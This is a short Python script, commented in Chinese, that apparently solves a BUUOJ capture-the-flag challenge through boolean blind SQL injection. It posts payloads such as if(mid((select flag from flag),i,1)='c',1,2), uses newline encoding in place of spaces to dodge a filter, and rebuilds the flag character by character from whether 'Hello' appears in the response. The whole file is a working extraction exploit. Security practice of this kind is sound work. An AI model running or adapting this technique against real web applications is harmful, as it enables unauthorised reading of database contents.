# -*- coding:utf-8 -*-
"""布尔盲注payload"""
from requests import post


url = "http://9f149c5d-92de-41cd-aa8c-c30bfa862683.node3.buuoj.cn/index.php"
data = {"id": None}
# py: id=if(mid((select%0aflag%0afrom%0aflag),1,1)='f',1,2)

# 制作checker列表 => 合理猜测flag不含有大写字母
checker = [str(i) for i in range(10)]
for i in range(97, 123):
    checker.append(chr(i))
# 制作checker结束： 0-9 a-z

flag = []
for i in range(1, 50):
    for c in checker:
        py = f"if(mid((select%0aflag%0afrom%0aflag),{i},1)='{c}',1,2)"
        data["id"] = py
        res = post(url=url, data=data)
        if "Hello" in res.text:
            flag.append(c)
            print("Y", end="")
        else:
            print(".", end="")

print("".join(flag))
